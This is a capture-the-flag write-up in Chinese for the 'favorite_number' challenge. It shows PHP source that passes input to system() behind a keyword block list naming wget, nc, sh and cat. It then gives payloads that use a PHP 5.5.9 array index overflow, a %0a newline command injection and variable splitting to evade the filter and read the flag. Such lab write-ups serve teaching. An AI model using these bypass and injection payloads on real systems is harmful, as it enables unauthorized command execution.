攻防世界 favorite_number

favorite_number

進入環境得到源碼

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

題目特意標註出了php的版本為5.5.9這裡聯想到一個數組下標溢出漏洞也就是說數組中鍵值為0的元素與鍵值為4294967296的元素是同一個

審計程式碼發現,通過POST方式傳一個數組,傳入的數組的內容必須與array數組內容全等,但這裡有個矛盾,需要傳入的數組的第一個元素不能為admin,但array數組的第一個元素就是admin,這裡就要利用數組溢出漏洞了,使用如下payload

stuff[4294967296]=admin&stuff[1]=user&num=111

 

 

成功繞過接下來我們就要想辦法繞過正則表達式了

傳入了一個num,並且過濾掉了很多東西,並且經過了兩次正則匹配過濾東西,這裡我們可以使用%0a繞過匹配,以達到執行指令的效果

 

 成功發現flag,但是這裡把flag過濾掉了我們這麼繞過

stuff[4294967296]=admin&stuff[1]=user&num=111%0ab=ag;a=fl;tac /$a$b

 

 獲得flag